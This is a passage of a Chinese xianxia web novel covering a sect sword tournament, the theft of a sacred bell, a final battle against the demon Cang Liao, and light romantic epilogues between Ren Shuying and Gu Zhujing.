他应了一声,任舒映便全神贯注前去应战,这嗑药果然非同凡响,使用封印未解的叩雪剑,难以发挥她的实力,既不能强攻,那就智取,
她挡了几剑,攻不上去,抬头仰望,万伞悬空,思来想去在明异几步距离处,凌空一跃,踩在伞上。
明异紧追不舍,开口嘲讽:“任舒映,你怎么耗着,有何意义?”
任舒映:“你若追不过我,耗着你灵力竭尽,早晚要打不过我。”
此话意有所指,嗑药作弊,明异不敢真的在这里耗
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,继而继续猛攻。
破境丹效用正盛,暂且一避自是优解,好在此试场有障碍物,借伞躲避,还可以时不时用灵力暗袭明异,顺便看看孤竹京那边如何了。
想着,任舒映有些奇怪,
怎么未见到马简与孤竹京人影?
分心之余,她以余光一瞥,孤竹京竟然和马简已经站在试场外,明异见状一剑袭至她面门,她意识下用叩雪剑抵挡,但因暂时敌不过破境期,手中的银白长剑顷刻间出现一道道裂痕,
明异嗤笑:“无间楼灵剑也不过如此啊。”
任舒映连连退了几步,故作惊愕,随后把剑收起来,
“任舒映,剑已毁,认输吧。”
孤竹京忽然在试场外喊了一声:“这是我的剑。”
任舒映随即会意,孤竹京虽不可以在踏入试场,但把撼刑剑抛进来,明异先她一步,当即去抢剑。
明异虽接过剑,却被一道强劲的灵波击倒,与撼刑剑一同飞出试场外。
“明异你输了。”
“任、舒、映!”明异咬牙切齿,逐句念着,脸色发青:“你们合伙诈我?还讲不讲武德?”
“外面的东西哪怕是剑也进不来,我压根没有打算什么去抢,你莫不是忘记了吧?还讲武德?你配与我谈武德?要不谈谈你灵力是如何——”
“任舒映!”明异当即打断了话头,
“来日方长,你等着!”说罢,明异怒气冲冲离开了试场。
孤竹京在站在试场外,任舒映笑着走来:“方才多谢了,对了,马简怎么和你一道出了试场的?”
孤竹京无甚在意,随口答:“我死缠烂打,抱着他摔出去了。”
这番回答让她无话可说,半晌评价二字:“……厉害”
“我现在要去准备下一场比试,你小心马简,这几个惯会睚眦必报,难保不会把气撒你身上。”
孤竹京若有所思应了声,突然把剑递到她面前。
任舒映:“?”
“方才看见你的剑坏了,我用不上,用这把吧。”
叩雪剑虽有裂痕,但主要是叩雪独有的障眼法,剑碎亦可恢复,她本欲拒绝,也不知怎么想的,忍着笑,佯装颇有为难:“你这剑一直不离手,想必非常重要,万一也坏了怎么办?”
她一边观察孤竹京脸色,一边有把剑拿到自己手中,
孤竹京脸上略有迟疑,未有反悔:“……你先拿去吧。”
任舒映垂眸想了想,她大概用不上撼刑剑,但是隐隐约约感觉她用的上,还是道了谢,在他注视下去了下一个试场。
——
任舒映与明异对试虽赢,可分三场,谁若胜的二场,即可晋升榜首甲子。
剑修比试第一场,为的不是一争高下,而是看等对敌时随机应变的能力。
独她一人身份令牌匹配,果然对手又是明异。
进入试场,明异整好以瑕被阵法传送之任舒映身边,
二人眼神交战,无人说话,
随后试场一道声音荡漾天际:“你们二人前面会有一个人,如果你们可以杀死,为胜。”
明异听罢,半信半疑:“就是杀人?可这有何难?”
任舒映只字未问,提步率先迈入试场。
明异自是不知杀的是何人,但她知道。步入试场,现入眼帘为一山巅,独有她一人,背手而望,云海翻腾,忽地,狂风骤起,她手中召出叩雪,挡过面前一道隐隐约约半现的剑势,剑势相撞,犹如冰碎,清脆入耳。
同时,雪羽般的流萤在虚空飞舞。
这是叩雪剑的剑势。
她眼前面的是一个女子,此为她需杀之者,两人四目相接,眉眼与对方的相貌一模一样。要杀的人,是她自己。
这个她,不管是剑势,还是身法皆和自己相同,
试场要考验的就是,自己能否打得过自己。
化解自己招式不难,
唯记一语:我非我,你亦非我。
将叩雪剑收回,召出孤竹京的剑,回忆起孤竹京还是魔域主时,在黑宜城使出的招式,接他一剑一招用用,不过分吧。
那女子虽用自己的招式,却架不住任舒映结合了自己与孤竹京风云诡谲的剑法,招招破解,势如破竹,就在对方被任舒映一剑穿心瞬间。
女子的模样变幻成了明异,他倒在地上,神情中皆是惊愕,但是也意识到他方才败给了自己的幻人,顿时明白了一切。
原来这场比试杀的人,不是自己而是任舒映。
他恼羞成怒,背过身爬起来时,手中掐诀,一缕灵息散出试场,任舒映未看见,不过知道明异定然不会善罢甘休,遂早做提防看着他,
“明异,你又输了。”
55.因果
他是输的一败涂地,但是任舒映如此算计他,不可能就这么揭过。明异眼底闪过一丝狠厉,缓缓站起来,
任舒映看出他心有不甘,便留心防备身后,她记得,明异在试场设过二接灵屏,方才他掐诀应是给马简传信,袭击她的暗器就是这个时候出现,
两个传口,马简将在进灵口传入一道灵击,沉吟片刻,她以灵识感知,果然不出所料,背后有所动静,正是到那道灵击破空而来,
她因为注意力一直都在背后,便意识向背后转身,用撼刑剑挡开,
忽然有人在试场外大喊:“小心!”
但是试场内传来声音极小,她听的不清楚,只觉得自己被人一掌重重的击飞,掉出试场外。
她眼前有许多人,他们来来回回影子一直在晃,但是她说不出话,咳出一口瘀血,晕倒在地。
——
一阵馥郁的花香袭来,任舒映闭眼不禁蹙眉,这是忘忧花香,她在哪?
挣扎片刻,睁开眼睛,她躺着熟悉的寝室,这是她的曦月阁,侧目而视,窗口摆放一盆蓝紫色的花,正是忘忧。
收回视线,不经意瞥见,屏隔外似乎有一个女子的身影。
任舒映好奇喊了一声:“谁?”
闻声,影子晃动,女子走出来,和她四目相对,萧慕灵?
“师姐,是你啊。”
萧慕灵坐在她身边,细心问了一通:“醒了?可有什么不适?你这么如此不小心?”
任舒映虽一一回答,
萧慕灵道:“还未恭喜你夺魁了。”
任舒映知道她会夺魁,但是出了这等意外,她还是愕然看着师姐,总感觉哪里不对劲。
她虚笑捏了衣角:“……我夺魁首了?!”
奇怪记得自己好像还要一场剑试未上啊?
“这是真的,好几个夺魁的弟子去取灵器,唯独你受伤没有去。”
萧慕灵召出一张密封的信笺:“哦,有人要我给你带信。”
任舒映接到手,拆开看着,恍然大悟,此信是孤竹京写的,他抓到马简,将威逼替试和比试违规的证据寻到,一并呈交至执规堂,
经过几位长老裁决,任舒映才破例入了魁首名单。
“怎么了?”萧慕灵观她神情有些欲言又止,便开口问。
任舒映道:“没事,我在试场时,叩雪剑坏了,便有个好人借给我剑,信中是剑主,要我给它还回去。”
不过,她重伤未愈,孤竹京还要她拖着伤体给他还剑?
萧慕灵知道她伤的不轻,主动提议:“需要我替你送剑吗?”
“啊,不必,”任舒映立马答道,她确实要见见孤竹京,一边思索着,她开口:“……多亏那位好人的剑,还是让他过来一趟吧,我当面多谢他。”
萧慕灵笑了笑:“那传信让过来他来拿。”
任舒映这才没说话,点头默许。
——
“你的剑,物归原主。”
孤竹京
——
养伤三月,在任舒映未预料之时,一夜风平浪静,魔袭渺梦。
火烧半山,烈光冲天,任舒映第一时间收到师尊虔贞的传音,魔族来袭,让她拿着三碎星痕钥匙,去藏经阁取圣陵宝物。
事不宜迟,她火急火燎赶过去,藏经阁弟子已前往渺梦山门外应敌,还以为没有人,迈入大门内,却见孤竹京站在一旁。
“孤竹京,你怎在此?”
他简言道:“有人告诉我,是你让我在此处,不要走动。”
任舒映拧紧眉头反驳:”没有啊,我没有让你到这里。”
是有人故意把孤竹京引到此处?凭借任舒映的直觉,藏经阁一定出了什么事,她来不及多细想,急忙对他道:“我去藏经阁顶阁。”
她走的是当场和孤竹京意外发现的暗道,重返乐宫,不过短短几个月,环境大变,里面变的尘灰覆地,放置的钟乐之器尽毁。
“庇弥祖师他不见了。”
孤竹京跟着任舒映,见此情形,开口说:“那个庇弥说过,他与什么燎因为禁制压制,不得离开,难是阵法受到了破坏?”
任舒映沉默打量四处,冷静下来:“先去顶阁。”
任两人爬到最高出,只见一扇大门紧阖,门上有一个凹槽,任舒映掐诀念咒,三碎星痕散发浅光,出现在手中。
如此看来,圣陵宝物还没有被盗取。
她将三碎星痕放入凹槽,大门轰然开启,现入眼帘的,正是圣陵宝物生灵钟,钟只有一个拳头大小,灵气环绕,她欲迈步去取。
孤竹京在她身后道:“小心!”
一道黑影倏忽掠过,抢先她一步,任舒映第一时间冲上去,门内生灵钟却在这一瞬,被一团漆黑的浓雾卷起。
“叩雪去!”
剑劈到了黑影,黑影一份为二,皆冲出门外。
任舒映对孤竹京道:“分开追,生灵钟不可落到魔族手中。”说着,她给了孤竹京几张符,“此符撕毁就有效,可以隐身逃跑。”
他们一同跑到藏经阁大门口,却看见百米外,一群弟子在那,见任舒映出来,口中嚷嚷着::快拦住他们!”
任舒映转头看向孤竹京:“用隐身符,你快去追。”
孤竹京闻言未犹豫,先行一步。
任舒映对着迎面而来的人,大喊一声:“你们做什么?”
人群中为首弟子开口:“任舒映居然是你,手握三碎星痕钥匙,监守自盗,圣陵宝物如今被盗你如何解释?!”
任舒映沉下脸:“说我盗圣陵宝物,证据拿出来。”
“不必多言,方才让她身边那个男的逃跑,定是魔族的人,他们定是就是串通好了。封闭渺梦山,缉拿魔族之人,任舒映押入牢中,火速通知虔贞长老。”
任舒映料到如此,她如今百口莫辩,便沉下心没有反抗,押入牢内,直到外面守着的人忽然被吸引走了,一道身影突然出现。
任舒映意外看着来人,低声说道:“孤竹京,你怎么进来的?”
孤竹京瞥了眼外面,确定没有人过来后,他解释:“是隐身符。”
任舒映思索须臾,告诉他:“此符应付普通修士尚可,但遇到高阶弟子,有符也是无处遁逃,你既然来了定是发现了什么吧?”
他点头,紧接着说:
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“我追查到那个黑影直至你曦月阁附近,他化了人形,衣着着的渺梦弟子,相貌未看清楚,他用了暗器,你看看。”
孤竹京伸出手掌,手心处,她看的一清二楚,一目了然,那是一片竹叶,清紫色。
此叶源于紫藤竹,上品竹种,要说渺梦山何处有,除了她和师兄住处,当真想不出哪里还有,方才他就觉得奇怪,那黑影虽有魔息,但是还有一丝不易察觉的灵气。
师兄,柳邈。原来是他,亦没有想到会是他。
任舒映了解清楚,催促道:“孤竹京,渺梦山的事与你无关,你先趁乱离开,到山下的凡市,去一个叫长乐壶的茶坊,我有办法离开,两日后会面。”
孤竹京应了声,匆忙离开。他上一步走,她心中怀疑的人就出现在牢中,
任舒映目光沉沉,定定观察他的神色:“师兄……”
柳邈极为反常,开口就带着质问:“师妹,方才有人来找你了,是他吧。”
柳邈话中没有询问之意,他在肯定。
任舒映终于可以断定,可她万分不解:“师兄,为何?”
盗取生灵钟,对他有什么好处?
他脸上没有任何情绪,只是淡淡的答:“没有为何。”
“师兄,你盗取生灵钟,可知是要与整个渺梦山弟子为敌,你师尊待你不薄,你又置他何地?”
“师妹,人各有志,你我所择的路不同罢了。”
任舒映叹了口气,“你既得了生灵钟,还要什么?”
“生灵钟并不是我想要的,告诉我,神献灵脉在何处。”
任舒映倏地抬头:“……我怎会知道,你应该去问师尊。”
柳邈盯着任舒映的脸色,徐徐而言:“师尊向来看重你,你不可能不知神献灵脉在何处。”
“虔贞被我囚禁着,他是个硬骨头,你呢?”柳邈的神情扭曲,任舒映既觉得陌生,又胆寒。
“师兄,你究竟什么时候成为这个样子的?”
柳邈声调愈加阴郁,拧紧眉头,不耐烦催促:“废话真多,快告诉我,灵脉在哪里。”
任舒映知道柳邈手中隐隐积蓄的灵力不是在开玩笑,无奈之下,妥协开口:“你带我去藏经阁,我告诉你在哪。”
柳邈听罢,当真信了,手下一道强劲的灵力劈开牢门的锁,拉着任舒映大步流星冲出去。
“庇弥长老!”
任舒映就知道庇弥不会消失,他果然还在藏经阁,庇弥用手指着高台,开口告诉她:“我来引开柳邈,你往高台方向上去,掀开拜垫,里面才是另一只生灵钟,你绕钟针三十圈,便可去到属于你的世界。”
任舒映瞬间听懂,立马点头。
“还有,苍燎魔识逃出去了,他为了神献灵脉定不会善罢甘休,我那生灵钟可以探寻感应神献灵脉,你既拥有灵脉,要小心将来遇到的人。”
说完,庇弥摆手,
“快去吧。”
任舒映心绪万千,按照庇弥的指示,她周身开始出现变化,每绕过一圈,生灵钟内,荡漾起一层复一层的灵波,耳畔有醇厚的钟声。过了许久,她耳朵发鸣,头晕目眩,不自觉倒在地面。
56.番外
“主人?”
“任舒映!”
任舒映揉了揉脑袋,恍惚间似乎听见了叩雪剑和扶鸾的声音,她记得她自己还在渺梦山,庇弥祖师让她用生灵钟……
任舒映看着四周,迟缓许久,只觉得眼前景象太过眼熟,可偏偏有不记得是哪里来着。
“这……是哪?”
叩雪剑嗡鸣发响,还是扶鸾飞在她的衣摆,叽叽喳喳:“这是极地雪域,你第一次见到我的地方啊!难道你都不记得了?”
任舒映细细回想,直到看见供台摆放的一鼎香炉,炉子中簇拥成团的香,她才想起来大概。
怎么说……她终于回来了吗?!
任舒映想着想着笑了出来,没想到她终于回来了,她感觉,从红尘井到现在,经历这么多事,不亚于沧海桑田,感觉她这辈子都走到头了,
“叩雪,扶鸾,如今过了多久?”
“你睡了一个多月!”叩雪道。
扶鸾接着说:“我们跟着你一同掉下山崖,然后我突然之间就化形了,敞开的翅膀比那日所见的仙靡树更大,扶摇直上,但你却不论如何都叫不醒,我还以为你已经……”
叩雪随即接话:“已经归西了。”
他们你一言我一语,任舒映大概知道了原委,随之道:“外面如何了?”
叩雪:“说到这个,我得告诉你,外面都变天了。”
“渺梦山如今长老界让贤,你那师兄成为了门主,苍燎现世,还把魔域给攻占回来。”
任舒映心一紧,意识下开口:“孤竹京呢?”
魔域被攻占回来,孤竹京又该何去何从?
叩雪沉默了好久,突然间,庙门就被人推开,
孤竹京满身风雪,径直入庙,他没有预料任舒映会醒来,僵在看着她,
叩雪:“说来就来了。”
任舒映也定定看着对方,目光交汇,眸底尽是难以言说的复杂之感,
任舒映开口唤了一声:“孤竹京……”
庙外一声巨响,打破这沉默氛围。
紧接着,门外又出现了一个人,口里絮絮叨叨念叨:“完了,唉,他们这是要强行在九骸壤破开一个口子啊!”
任舒映意识下的对说话之人行了小辈礼:“庇弥祖师!”
庇弥虽愁眉不展,但看着任舒映已醒,还是露出一抹欣慰浅笑:“终于醒来了?可还记得我?”
“当然记得,多谢祖师帮我,不然我怕是难以醒来了。”
庇弥:“如今也不是说这个的时候,你先看看那吧。”
任舒映顺着庇弥所指之处,看向寺庙外空旷的天穹,
“那里,看见了吗?”
天幕有一处划口,魔气四溢,
“九骸壤入口结界已经关闭,我们在此躲了近半旬,看来魔族苍燎已经坐不住,要强行开入口。”
任舒映收回目光,不解问:“为何会如此?”
庇弥道:“你知神献灵脉吧。”
“祖师,神献灵脉就在我身上。”
庇弥摆摆头,示意孤竹京前来:“神献灵脉分阴阳二脉,灵脉是在你和他身上。其中阴脉为泽,通生灵之语,阳脉为炽,通灭世阎火。灵脉不可融合并存,所以才在你和他身上。”
任舒映:“神献灵脉,其灵力源于仙京,有再造再生、灭尽三世的威力,为何我却没有用过神献灵脉的灵力?”
庇弥告诉她:“万物相互制衡、压制,若要真正见到神献灵脉,唯有其中一脉被灭,才可以真正使用。并且神献灵脉也没有传闻的这么神通广大,只是祸不单行,既有苍燎现世,神献灵脉才机缘出现。”
“苍燎现如今肉身被毁,对神献灵脉虎视眈眈,你们二人断不可落到他的手上。”
叩雪开口道:“神献灵脉可以彻底杀了苍燎,魔修强行破开结界,一来就是为了再次寻找地涌金莲,二来就是把你们二人杀了以绝后患。”
“所以,祖师的意思是要我们其中一个人觉醒神献灵脉,对付苍燎?”
庇弥笑着点头,
“……什么叫一脉被灭了,才可以使用?”
任舒映虽然这么问,但心中已有定论,觉得此话是最坏的结果就是他们二人中要死一个。
“对咯,就是你们之间死一个。”
任舒映偏要开口:“……不信。”
庇弥:“确实如此,不过也有其他法子,那就是洗髓换骨,用其中一人的灵脉给对方洗髓,灵脉就会直接洗涤尽灭。”
任舒映和孤竹京对视一眼,庇弥道:“你在孤竹国的金简中,放出来阴魂可记得?”
任舒映点点头,她还在想她离开红尘井,但是却没有消灭阴魂,这阴魂又和现在的局势有何关联?
庇弥看出任舒映的困惑,解释道:“阴魂就是孤竹京的心魔,而且阴魂还是苍燎,从孤竹京还是一个凡人起,他就同心魔、亦或者说苍燎。他们一直纠缠不清。我不建议孤竹京来杀苍燎,”
任舒映也这么想,“确实,孤竹京的灵海被苍燎魔息影响太久,就连那把撼刑剑都魔气缠绕不散,孤竹京反而更容易被苍燎控制利用。”
所以人目光落在孤竹京身上,
孤竹京见状,随后道:“……前辈,让她去吧。”
——
任舒映执灵笔,在他脸上绘制符文,她听庇弥说,他被苍燎魔息影响许久,时常会出现幻视,防止他伤人,以符文压制,已经是最好的办法了。
孤竹京安静乖巧坐着,观察任舒映。
他的脸上有湿润的触感,有些痒,不禁捏着任舒映衣角催促:“快点。”
任舒映不慌不乱动手:“别着急,符文不可出差池。”
但是于孤竹京还是一种煎熬,符文可以驱散魔息,但是他被魔息沾染过久,不自觉已经成为了一个魔修,故而他会觉得这个符文让他浑身不舒服,
孤竹京没有丝毫情绪,任舒映毫无察觉,
许是氛围过于安静,她问:“孤竹京以后你没有了灵脉之力,还要入修道吗?”
“不入,我自始至终未有入修道的想法,”
入魔道后,也不可能入正道了。
“那你今后怎么打算?”
“待你将天下邪魔之处荡平,回魔域,我想要这个天下河清海晏,再无乱世。”
任舒映点头:“这样也好,有你坐镇,修界与魔界如今交好定不困难。”
“你这么会想魔界与修界交好?”
修界、魔界对峙从来没有一刻安生过,任舒映不觉得这是痴心妄想吗?
她看着孤竹京,
“你不是魔域主吗?只要二界不没事找事,共存有什么不可能的?当然,也是为了你。”
“为了我?”
任舒映笑了补上一句:“还有……为了天下苍生!”
——
九骸壤结界摇摇欲坠,庇弥当夜,便帮助他们二人洗髓换骨,
神献灵脉觉醒整个极地雪域都变了,雪花飘散,比往常更加久,白羽纷纷扬扬,九骸壤中的生灵闻之,不约而同往极地雪域靠。
扶鸾叽叽喳喳,鼓动翅膀:“主人!你的修为已经到化神期了。”
的确,她和登仙仅有一步之遥,只差一道天劫,但是比起化神为仙,她更希望可以自己神献灵脉之力,化万疆一片安宁。
庇弥告诉她:“神献灵脉现世,外面一定会察觉到,九骸壤结界大概撑不过今日,你早做准备,我们给你打掩护。”
孤竹京虽没有了神献阳脉,趁现在尚且还有自保能力,对任舒舒提供了魔域的信息,
“魔域南境,有一个恶人谷,他们都是魔域最强大的元老,不问世事,你如果有需要,可以拿着这个令牌,他们会任你派遣。”
几个时辰后,一道响彻云霄的爆炸声响,雪山崩塌,群魔而攻,
扶鸾对任舒映道:“我生与此,主人你放心离开,我会号召九骸壤生灵为你拦下魔族。”
任舒映带着叩雪剑,一个人离开,
凭借化神期,千里瞬移之法,早已甩开魔族卒群,径直向魔域南境的恶人谷而行,这是她魔域中,唯一可以藏身的地方。
魔域南境山峦蜿蜒,苍山似障,就连魔族魔息都没有感知出来。
她御剑四处奔走,翻过几个山头,却看见几只魔兽围在一片小河栖息,
任舒映一跃而下,平稳落地,魔兽闻声,猛的扑面而来,
“!”
任舒映用剑挡开,以生灵语试图沟通,
“别杀!”
魔兽一边警惕走过来,又对身边同伴对视,她听见它们在对话,
“这个修士身上,怎么会有魔域主的气息?”
魔兽猛吸一口,
“难道魔域主变性了?”
任舒映随即取出令牌,
“这个,你们可懂?”
魔兽拿不准,但是闻过孤竹京的魔息,内心已经形成了心理恐惧。
魔兽嚎叫,
只见一个魔修从幽林走出来,目不转睛盯着她,
她举起令牌,开口道:“令牌在此,见见谷主。”
对方却摆头:“什么令牌,我不认识。”
不认识?
“你不需要认识,你们谷主见到,自然清楚。”
魔修思索着,让魔兽离开,
“跟我过来。”
任舒映一愣,还以为又要打架。
带入一条幽深的山谷中,此处别有洞天,难怪魔域中没有人发现,居然在此设了护障,怪就怪在这是修界的阵法,莫名觉得有些熟悉。
不料所见之人,让她惊愕,接待她的是一个女魔修,其面细眉,凤目,妩媚洒脱,就是她在陪尾天牢遇到女子——花姨。
花姨大喜,“快!去喊老枭!”说着她问:“那日无妄海一别,再无音信,我还以为小姑娘你……运气不好,掉海被喂哭鲛,凶多吉少了呢。”
任舒映:“这个……说来话长,对了你们都是魔修怎么
“还不是那群修士!咱们愿意和他们做交易,他们倒好,临行变卦,卷走了货,拍拍屁股就跑了,
我们一怒之下,跑去追人,趁我等不备,设置陷阱,将我们一网打尽,赶尽杀绝。”
“如此说来,是修界出尔反尔,对!后来咱们不是都在天牢吗,就吧天牢结界珠带走,用在恶人谷上,隐匿生迹。”
任舒映暗叹,世不求信,纷端不断,不相互尊重,何来三界共平?
花姨说完,反问:“对了,苍燎如今往修界去了,你来是有何要事吗?”
言归正传,任舒映随即拿出孤竹京的令牌,
“花姨,我想用这个令牌,向恶人谷合作。”
“为了苍燎?”
“是的……”任舒映还在想着词措,花姨爽快道:“可以,我们看苍燎不爽许久了,以前孤竹京做当家的时候,咱们都是井水不犯河水,这苍燎一来,就派那几个魔君过来谈话,老想要恶人谷给苍燎卖命。”
——
经过商讨,任舒映与恶人谷分二路,恶人谷魔修对付魔卫,由她亲自对付苍燎,
她打算先行修界,号召修界高阶修为弟子,
修界人人自危,四处打听,才知道渺梦山总主在寻她,
好在她的神献灵脉已觉醒,化身期修为,想要在渺梦来去自由,轻而易举。
孤身一人从渺梦山大门而行,一路被内门弟子带入大殿,只见一袭
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青衣者背对她,
“师妹,你终于回来了。”
任舒映看着柳邈,不好气道:“其他长老呢?我有要事相议。”
他转身,看着任舒映:“有什么要事,只需要告诉我。”
多久未见,柳邈他变了,旧衣着身,话语中透露着疏离。
任舒映知道和柳邈说不通,那就无需多言,冷冷道:“告辞。”
“师妹,如今不是你说走就可以走的。”
话落,一张缚灵网从殿顶扑下来,
任舒映隐着怒气,
“柳邈你骗我来,就是要抓我?你既已是一宗门之主,为何还要抓我?”
“神献灵脉交给我,你就可以走。”
到这个适合他还在惦记着神献灵脉,任舒映没有失望,手中召集灵力,低声念诀,强大的灵力波动,即刻将网炸碎。
柳邈盯着任舒映,连连倒退,“你、你……”
任舒映不紧不慢道:“化神期,柳邈你还要拦我吗?”
就在此时,门外跑来一个弟子,
“宗、宗主,苍燎他攻入极地雪域了,现在抓着庇弥祖师和一个修士,他说……把任舒映交出来,祖师才有活路。”
任舒映瞥了一眼,柳邈定在原地,因为任舒映的修为,迟迟没有缓神。
“我去。”
——
渺梦山山下,成千上万魔卫蜂拥而至,渺梦和附近宗门的弟子皆闻声赶来,
魔卫后,是一团漆黑的雾气,
任舒映本想混迹在修士中,却被一股无形的力量提起来,被迫拉入魔卫群里。
“任舒映,还要多谢你在孤竹国,解开金简封印,把我的魔识放出来。”
任舒映未答,只见赶来的修士,在凝聚灵力,布置乾坤阵法,
远远处,她看见叶谨辰,在阵眼定定看着她。
苍燎的话拉回她的注意力,
“我的肉身虽毁,孤竹京,不如你就拿你的身体给我当容器吧。”
苍燎手中召唤魔气,成千上万的浊气源源不断穿入他的身体,任舒映提起剑,剑气如同水瀑倾斜,巨山被她斩开一道深深的沟壑,乍似天堑,
魔气冲天,苍燎居然释放出阎火消挡,
“神献灵脉,果然非同凡响。”
“这、怎么可能?你怎么会有阎火?”
任舒映诧异说着,又是一剑劈去,,阎火明明是神献阳脉之力,
苍燎把孤竹京丢入阎火环绕的高台,再次消挡剑气,我和孤竹京本就是一体,他的神献阳脉被我复制,就算是觉醒了灵脉,我亦可使用阎火。”
孤竹京开口喊道:“任舒映,杀了我!他的魔识不完整,只要我死,你可以对付苍燎。”
“孤竹京,你就怎么想求死吗?”
任舒映手上暗暗蓄积灵力,继续道:“我不会成全你死的。”
灵力蓄积成旋风,不断搅动,宛如屹立于天地点天柱,她站在天穹中央,乱云削骨般的疼,她在等乾坤阵成,
苍燎见状,不断用阎火攻击她,一道道火焰堪堪从她身边飞过,她以神献灵脉,集结了天地灵气,笨重向苍燎而行,
忽然天际出,响彻云霄,那道旋风天柱包围住苍燎,乾坤阵终于修成,她念起法诀,
“天地玄黄,阴阳神献,辟邪消我,无咎渡苍生。”
地面的修士皆注视着天际,雷声滚滚,伴随闪电,瞬间,一道强大灵波散开,天地间为之一震,远远震万里之外,草木摇晃,海域翻腾,巨浪掀天,山川石落。
星星点点的流萤散落,孤竹京嘶声力竭大喊:“任舒映!”
叶谨辰把孤竹京救下来,语气沉沉:“她用了献祭之术,自爆金丹,还把刚刚设成的乾坤阵法破了,或许她从一开始,就没有给自己生路。”
孤竹京木讷看着天幕,喃喃自语:“……她如此惜命,怎么会同归于尽,玉石俱焚。”
——
七日后,
“话说,那邪魔苍燎得了那神献灵脉,气势汹汹冲入渺梦山,只见一个女修从天而降,英姿飒飒,提刀见敌,”
“他们厮杀整整三日,苍燎败下阵来,但那位女修也未全身而退,可谓两败俱伤,但靠有天神之力,她未死绝,而是隐于凡世。”
任舒映坐在一张茶味,听至此,无奈笑笑。
她本以为会死,没想到使用神献灵脉后,惊扰了天道,天道念她以己渡苍生,收回神献灵脉后,留她一命苟活。
“……东街开了一家乐坊,唤:“寻一音坊,欲知后事如何,且大家过几天到那,在下在讲下一期!”
听戏的人纷纷散去,任舒映走向戏台,
“乙寻屏,你开乐坊,怎么还在外面说书?这话本主角,说的是我那些事吗?”
“招揽生意咯,凡界对修界那些事就算好奇,那我就说说吧。”
“无聊。”
乙寻屏:“哎!你才无聊!我跟你说,这个话本还是叶谨辰所编写,他听了该有多寒心啊。”
任舒映笑着,没有和他继续吵,
“对了,我暂时不回渺梦山,我要去魔域。”
乙寻屏一脸鄙夷:“渺梦山的柳邈盗取生灵钟,扰乱宗门秩序,被押入大牢,还需你主持大局呢,重色轻友,是要去找孤竹京吧?”
任舒映:“……他也出了不少力,我去给他道谢!”
乙寻屏拉长声音,“对对对,道谢道谢。”
“说来,那日,他可一直在寻死觅活,若不是我拦下来,几日前就给你殉葬了。”
任舒映还真没想孤竹京会如此,
“那我更要去见见他了,再说渺梦山长老还在呢,我就不回去了,来日方长,告辞。”
57.第 57 章[番外]
渺梦山传来消息,想要任舒映给新来的一批弟子授课,任舒映本来要向孤竹京辞别的,奈何一日不见踪影。
最后,任舒映是在后厨寻到孤竹京,他一个人在后厨呆到快入夜,任舒映循着路到了门外,门微阖着,她叉着腰,一脸好奇窥视,
孤竹京穿着一身便服,背对着她,居然在下厨?!
任舒映拧紧眉头,看的津津有味,魔域主亲自下厨,这还怪稀奇。
看的正入迷,孤竹京仿佛背后长了眼睛,虽没有转过来,却懒洋洋道:“看了这么久,不饿?”
任舒映笑嘻嘻跳出来:“方才不饿的,但是闻着味道,忽然就有点饿了。”
“你在捣鼓什么呢?怪香的。”
孤竹京答非所问:“你可知元宵夜?”
任舒映点点头,思考片刻,问:“那不是凡界的节日吗?你们魔域也过啊?”
“魔域不过。”
孤竹京停下手中的活,转头看向她:“以前孤竹国过元宵。”
任舒映愣了一下,倒是想起来,孤竹京百年前也是一介凡人。如今入了修道,虽不追求化神成仙,也没有断尽前尘旧事,倒是没想到,没想到凡界的节日也还过。
孤竹京告诉她:“都说元宵佳节,家家户户皆相聚一起,吃个团圆饭,和和美美。但是如今孤竹国已灭的干干净净,元宵佳节,故人不在。”
任舒映想了想,孤竹京莫不是想家人了?不过孤苦伶仃这么久,确实可怜,便安慰道:“没事,你兄长楚惕守还在啊,我让他过来陪陪你好不好?”
孤竹京脸瞬间垮下来:“他远在药师谷陪那个孔黎,没事别打搅他们。”
任舒映点点头:“也是,那我要不陪你吧,虽然我不是你家人……”
说罢,孤竹京定定凝视她,好一会没有回话。
任舒映以为孤竹京默许了,手指着厨台上的东西问:“你在做什么吃的?”
孤竹京收回目光,
“汤圆。”
孤竹京打开锅盖,沸腾的水上里面氤氲出腾腾雾气,水雾散去,只见几个浑圆、白嫩的汤圆露出水面。
任舒映看的垂涎三尺,
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见到任舒映的反应,孤竹京暗暗勾唇,
“吃吗?”
任舒映两眼放光,点头如捣蒜,孤竹京捞了几个到碗里,告诉她:“这是桂花糖心陷的。”
任舒映不在乎这些,接过碗,衔了一只送到嘴离开,馥郁的桂花香和甜味在口中久久不散。
她赞叹不已:“好吃好吃!”
孤竹京低声说道:“那我每年都给你做,可好?”
任舒映脑中转动,顺着他的话笑吟吟答:“你愿意的话,我每年都吃你做的。”
孤竹京心情大好,眯眼弯眉,月悬当空,屋中暖光融融,他笑的颇温柔,任舒映被他迷了心窍。
站在窗口外的扶鸾叽叽喳喳,催促她回渺梦山。
任舒映吃的正香,不耐烦对着扶鸾道:“我不回渺梦山了,在魔域过段日子再说。”
孤竹京听不懂扶鸾的话,但是知道肯定想要任舒映离开,只觉得它吵的烦人,一记眼刀扫去,扶鸾不敢说话了。
Ps:儿子为了挽留老婆,疑似用尽了力气和手段。